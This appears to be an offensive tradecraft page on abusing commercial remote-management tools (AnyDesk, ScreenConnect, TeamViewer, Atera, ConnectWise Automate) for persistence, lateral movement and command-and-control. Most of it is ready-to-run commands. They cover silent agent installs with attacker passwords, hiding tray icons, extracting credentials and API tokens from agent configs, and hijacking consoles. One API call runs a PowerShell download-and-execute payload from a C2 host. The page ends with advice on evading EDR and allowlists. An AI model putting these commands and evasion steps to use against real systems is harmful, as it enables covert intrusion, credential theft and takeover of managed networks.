Rmm Tool Abuse

RMM Tool Abuse

Abuses legitimate Remote Monitoring and Management (RMM) software for persistence, lateral movement, and C2. RMM agents are signed binaries, trusted by EDR, allowed through firewalls, and blend with legitimate IT operations traffic. Deploying a commercial RMM agent provides full remote control without custom implants.

Quick Reference

# Deploy AnyDesk silently
curl -sLo anydesk.exe "https://download.anydesk.com/AnyDesk.exe"
anydesk.exe --install "C:\ProgramData\AnyDesk" --start-with-win --silent
echo <ATTACKER_ANYDESK_PASS> | anydesk.exe --set-password
anydesk.exe --get-id > anydesk_id.txt

# Deploy ScreenConnect silently
msiexec /i "https://<SCREENCONNECT_SERVER>/Bin/ScreenConnect.ClientSetup.msi" /qn

# Deploy Atera agent silently
msiexec /i AteraAgent.msi /qn IntegratorLogin=<ATERA_EMAIL> CompanyId=1

# Find existing RMM installations
wmic product get name,version | findstr /i "anydesk teamviewer screenconnect atera splashtop ninja level"
reg query "HKLM\SOFTWARE" /s /f "AnyDesk" 2>nul
reg query "HKLM\SOFTWARE" /s /f "TeamViewer" 2>nul

MITRE ATT&CK Mapping

1. Discovery — Finding Existing RMM Installations

# Windows — enumerate installed RMM products
wmic product get name,version 2>nul | findstr /i "anydesk teamviewer screenconnect atera splashtop ninja connectwise level action1 datto"

# Service enumeration
sc query type= service state= all | findstr /i "AnyDesk TeamViewer ScreenConnect Atera"

# Registry checks for common RMM artifacts
reg query "HKLM\SOFTWARE\WOW6432Node\TeamViewer" /v ClientID 2>nul
reg query "HKLM\SOFTWARE\AnyDesk" 2>nul
reg query "HKLM\SOFTWARE\ScreenConnect Client" 2>nul

# Process enumeration
tasklist /fi "imagename eq AnyDesk.exe" 2>nul
tasklist /fi "imagename eq TeamViewer.exe" 2>nul
tasklist /fi "imagename eq ScreenConnect.WindowsClient.exe" 2>nul

# Linux — check for RMM agents
ps aux | grep -iE 'anydesk|teamviewer|rustdesk'
find / -name "anydesk" -o -name "teamviewerd" 2>/dev/null
systemctl list-units | grep -iE 'anydesk|teamviewer'

# Network — identify RMM traffic patterns
netstat -ano | findstr "443 80 7070 5938"
# TeamViewer: ports 5938, 443 to *.teamviewer.com
# AnyDesk: port 443 to *.net.anydesk.com
# ScreenConnect: port 443 to custom server

2. Deploying RMM Agents for Persistence

AnyDesk

# Download and silent install
curl -sLo C:\ProgramData\anydesk.exe "https://download.anydesk.com/AnyDesk.exe"

# Install as service with unattended access
C:\ProgramData\anydesk.exe --install "C:\ProgramData\AnyDesk" --start-with-win --silent

# Set unattended password
echo "<ATTACKER_PASS>" | "C:\ProgramData\AnyDesk\AnyDesk.exe" --set-password

# Retrieve AnyDesk ID for remote connection
"C:\ProgramData\AnyDesk\AnyDesk.exe" --get-id

# Config file manipulation for stealth
# Disable tray icon and notification
echo "ad.security.interactive_access=2" >> "C:\ProgramData\AnyDesk\system.conf"
echo "ad.ui.tray_icon=0" >> "C:\ProgramData\AnyDesk\system.conf"

# Linux deployment
curl -sLo /tmp/anydesk.deb "https://download.anydesk.com/linux/anydesk_amd64.deb"
dpkg -i /tmp/anydesk.deb 2>/dev/null
echo "<ATTACKER_PASS>" | anydesk --set-password
anydesk --get-id

ScreenConnect (ConnectWise Control)

# Generate MSI from attacker-controlled ScreenConnect instance
# URL format: https://<SERVER>/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest

# Silent MSI install
msiexec /i "https://<SCREENCONNECT_SERVER>/Bin/ScreenConnect.ClientSetup.msi" /qn /norestart

# Custom session group for organization
msiexec /i ScreenConnect.ClientSetup.msi /qn \
  SESSIONGROUP="<TARGET_ORG>" \
  SESSIONNAME="IT-Support-%COMPUTERNAME%"

# Verify service running
sc query "ScreenConnect Client (xxxxxxxx)" 2>nul

# ScreenConnect relay traffic uses HTTPS to attacker server — looks like normal web traffic

TeamViewer

# Silent install with predefined password
TeamViewer_Setup.exe /S /norestart

# Configure unattended access via registry
reg add "HKLM\SOFTWARE\TeamViewer" /v SecurityPasswordAES /t REG_BINARY /d <AES_ENCRYPTED_PASS> /f
reg add "HKLM\SOFTWARE\TeamViewer" /v SecurityPasswordExported /t REG_DWORD /d 1 /f

# Retrieve TeamViewer ID
reg query "HKLM\SOFTWARE\WOW6432Node\TeamViewer" /v ClientID

# Alternative: TeamViewer Host (headless mode for servers)
TeamViewer_Host_Setup.exe /S /norestart

Atera

# Atera agent — requires attacker Atera account (free trial works)
# Generate installer from Atera console with unique agent link

# Silent install
msiexec /i AteraAgent.msi /qn IntegratorLogin=<ATERA_ACCT_EMAIL> CompanyId=1

# Atera provides: remote shell, file manager, software deployment, script execution
# All traffic over HTTPS to *.atera.com — indistinguishable from legitimate MSP traffic

3. Leveraging Existing RMM Installations

# If RMM is already deployed, hijack the admin console

# TeamViewer — extract credentials from registry/config
reg query "HKLM\SOFTWARE\WOW6432Node\TeamViewer" /v SecurityPasswordAES
# Decrypt with known TeamViewer AES key (static per-version key)

# AnyDesk — extract config and connection tokens
type "C:\ProgramData\AnyDesk\system.conf"
type "C:\ProgramData\AnyDesk\service.conf"
# Look for ad.security.password_hash — can be replaced with attacker hash

# ScreenConnect — if you have access to the ScreenConnect server
# Extension/plugin abuse for code execution on all managed endpoints
# Navigate to Admin > Extensions > upload malicious extension

# Atera — API token theft
# Atera API key in: registry, agent config, or intercepted API calls
reg query "HKLM\SOFTWARE\ATERA Networks\AlphaAgent" /s

# ConnectWise Automate — agent hijack
# Config stored in: C:\Windows\LTSvc\labtech.ini
type C:\Windows\LTSvc\labtech.ini
# Contains: ServerAddress, ComputerID, LocationID
# Redirect agent to attacker Automate server by modifying ServerAddress

4. Lateral Movement via RMM Console

# Once RMM admin access is obtained, lateral movement is trivial:

# ScreenConnect — execute commands on any managed endpoint
# From ScreenConnect web UI: select host → Commands → Run Command
# Or via ScreenConnect API:
curl -sk "https://<SC_SERVER>/Services/PageService.ashx/RunCommand" \
  -H "Cookie: <ADMIN_SESSION>" \
  -d '{"sessionID":"<TARGET_SESSION>","command":"whoami && ipconfig /all"}'

# Atera — remote script execution across all managed devices
# Atera API: run PowerShell on any agent
curl -s "https://app.atera.com/api/v3/agents/<AGENT_ID>/runscript" \
  -H "X-Api-Key: <ATERA_API_KEY>" \
  -H "Content-Type: application/json" \
  -d '{"scriptContent":"IEX (New-Object Net.WebClient).DownloadString(\"http://<C2>/payload.ps1\")"}'

# TeamViewer — mass deployment via TeamViewer Management Console
# Use Remote Management > Patch Management to deploy "updates" (payloads)

# File transfer via RMM
# AnyDesk: drag-and-drop or anydesk --file-transfer
# ScreenConnect: Toolbox > Transfer Files
# Atera: Manage > File Explorer > Upload

5. C2 via RMM Channel

# Use RMM's built-in remote shell as C2 channel
# Advantages:
#   - Encrypted HTTPS traffic to vendor cloud
#   - Vendor-signed process
#   - Allowed by firewall/proxy
#   - No custom C2 infrastructure needed

# AnyDesk C2 pattern:
# 1. Install AnyDesk on target
# 2. Set unattended password
# 3. Connect from operator workstation
# 4. Use AnyDesk's terminal feature for command execution

# ScreenConnect C2 pattern:
# 1. Deploy ScreenConnect agent pointing to attacker relay
# 2. Use Backstage shell for persistent command line
# 3. Use Extensions for automated task execution

# Polling interval modification (reduce beacon frequency for stealth)
# AnyDesk: modify ad.net.direct_connections in system.conf
# TeamViewer: adjust AlwaysOnline polling interval

Tools & Resources

Detection Signatures

Error Handling & Edge Cases

• EDR blocks RMM installer: Use the portable/standalone version (AnyDesk portable doesn't require install); rename binary to blend with legitimate software
• Application allowlisting: RMM agents are vendor-signed; most allowlists whitelist by publisher certificate, not filename
• Proxy authentication required: Configure RMM agent to use system proxy settings; ScreenConnect and TeamViewer auto-detect proxy
• Existing RMM with MFA on console: Pivot to API-based access if API keys are extractable from agent config
• RMM vendor blocks attacker account: Use trial accounts with disposable email; rotate accounts across targets
• No internet access on target: Deploy self-hosted RustDesk server inside the network; use it as an internal pivot relay

Decision Gate

IF existing RMM installation found on target:
  → Extract credentials/tokens from agent config
  → Attempt to hijack RMM admin console
  → Use existing RMM for lateral movement across managed endpoints

IF no RMM installed but need persistence:
  → Deploy AnyDesk (smallest footprint, portable mode available)
  → Fallback: ScreenConnect (requires attacker-controlled server)
  → Last resort: Atera (full MSP suite, more features but larger footprint)

IF EDR is aggressive:
  → Use portable/standalone RMM binary (no install, no service)
  → Rename binary to match legitimate IT naming conventions
  → Deploy during business hours to blend with IT admin activity